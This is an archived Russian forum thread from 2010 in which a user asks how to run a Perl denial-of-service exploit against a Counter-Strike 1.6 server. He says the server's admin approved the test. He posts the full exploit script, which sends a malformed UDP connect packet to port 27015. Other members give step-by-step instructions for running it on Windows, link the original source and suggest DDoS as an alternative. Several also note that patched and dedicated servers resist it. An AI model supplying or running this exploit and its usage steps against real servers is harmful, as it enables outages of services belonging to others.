PDA

Просмотр полной версии : Counter-Strike Server DoS (эксплоит)


Aesthete
03.02.2010, 11:56
Есть желание положить сервер КС 1.6. У админа получил добро, мол проверь мой сервер на устойчивость, а я потом исправлю. Узнал, что лучшим способ - это ДОСить. Нашел в инете вот этот эксплоит, а как им пользоваться хз... Не когда не организовывал Дос атаки, тем более на КС сервера... гуглил в инет "инструкцию по досу" и не чего не нашел.... (значит так гуглил) Помогите плиз. Киньте в меня ссылкой, где подробно описано... Вот сам эксплоит ---> и пару вопросов... Его как нить надо "изменять" или просто открываешь в цмд "путь до перлы -> cs.pl -> ИП...?
#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);

$c2=$c[1];

$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a362 58af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

Retimiled
03.02.2010, 11:58
в 1-й строке у тебя путь до перлы!
если в мастдае то пропиши какой программой открывается данный файл!

Aesthete
03.02.2010, 12:10
То есть....? Я должен изменить путь (то есть поместить эксплоит, так что бы путь был (оканчивался) #!/usr/bin/perl или наоборот (изменить путь в 1-ой сточке, что бы он совпадал с путем где находиться файл)? Должен менять код вообще? Ужасный нубяра я в этих делах и просьба отнестись с пониманием и помочь, а не кричать "ЛЕСОМ//// Гугли///"

Aesthete
03.02.2010, 12:17
http://cs10299.vkontakte.ru/u18064206/103728852/x_f50f06a2.jpg

Gar|k
03.02.2010, 13:28
Aesthete досить сервер ты собрался со своей машины? ))
по поводу perl в первой строчке нужно прописать путь до perl.exe (по идее под винду не кодил). попробуй запустить так perl.exe cl.pl 127.0.0.1
тк скриптос запускается с параметром ip сервера который досить...

Aesthete прочитай про DoS что бы атака была успешной тебе нужны большие мощности, больше компов - сеть. Сейчас это сравнимо как будто ты хочешь задосить яндекс нажимая на обновить в обозревателе )))

gold-goblin
03.02.2010, 14:23
Aesthete досить сервер ты собрался со своей машины? ))
Ты посмотри на сплойт. Он не просто коннектит =)
А так он не работает с 27 (вроде) протокола...

life_is_shit
03.02.2010, 14:27
Gar|k почитай разницу между досом и ддосом.
для доса и одной машины хватит.

Aesthete
03.02.2010, 21:23
ДА сделайте скрин плиз, как это должно выглядит.
У меня остались главные вопросы....
1. Менять скрипт надо? Если я правельно понял, то скрипт должен поменять под себя. А именно - первая строчка "#!/usr/bin/perl", поменять на "C:\Perl\Perl\bin\perl"?
2. cmd именно так должен выглядит???

Да киньте сыслкой, как организовать дос.

Я профан вы этом деле, так что особо не ругаться...

[stranger]
04.02.2010, 00:59
этот сплойт не под каждый сервер работает.. в новых версиях amxx есть от него защита :)

Gar|k
04.02.2010, 01:01
Aesthete щас протестил в винде (activePerl качать лень проверил на денвере)
сделал файлик test.pl с содержанием print "lol\n"; нажал win+R набрал cmd
в консоли набрал:
D:
cd \Denver\usr\local\miniperl\
miniperl.exe C:\test.pl

все прекрасно работает.
тебе нужно исправить сплоит - удалить строку 1 #!/usr/bin/perl, положить его например в корень C: под именем exploit.pl

окрыть cmd набрать
С:
cd \Perl\Perl\bin\
perl C:\exploit.pl 127.0.0.1

потом тебе нужно будет положить денюжку мне на вебмани и ждать голубого деда мороза

[stranger]
04.02.2010, 01:13
http://wmd.net.ua/files/screen.jpg
вот так это выглядит в activePerl, правда серверу это как-то до лампочки..
amxx 1.8.0.3660

Aesthete
04.02.2010, 08:18
http://cs10299.vkontakte.ru/u18064206/103728852/x_a6696534.jpg
...хотя на сервер моно зайти с обычной пиратки. Что именно не так?

[stranger]
04.02.2010, 12:17
на твой айпишник у меня пишется "you have banned from this server" :D

Aesthete
04.02.2010, 19:28
']на твой айпишник у меня пишется "you have banned from this server" :D
ТЫ коонектиться пытаешься или досить пытаешься? :confused:

gold-goblin
04.02.2010, 19:51
Ошибка эта (про класс С) Вылазит при не соответствии версий клиента и сервера.
Так что сплойт бесполезен.

[stranger]
04.02.2010, 22:09
ТЫ коонектиться пытаешься или досить пытаешься? :confused:
досить.. но, как я уж сказал, серверу это все по барабану!
на своем проверял!

m0Hze
04.02.2010, 23:15
А перл разве не в соседнем разделе? :o

Aesthete
05.02.2010, 09:39
']досить.. но, как я уж сказал, серверу это все по барабану!
на своем проверял!
Есть ли возможность положить сервер, какими другими способами... Дайте "название" способа и пойду гуглить...

[stranger]
06.02.2010, 01:00
DDoS, но это очень нехороший способ..

0ldbi4
06.02.2010, 09:51
Досил этим скриптом еще тем летом... у него борода выросла!

Но вроде до сих пор актуален.

Оригинал (http://securityvulns.ru/files/csdos.pl)

Ошибка существует со времен CS1.5 из за неправильной проверки или ее отсутствия на длину пакета в инфе клиента... :)

[stranger]
06.02.2010, 12:42
да, для listen серверов! а для выделенных он не подходит!
это тот самый сплойт :)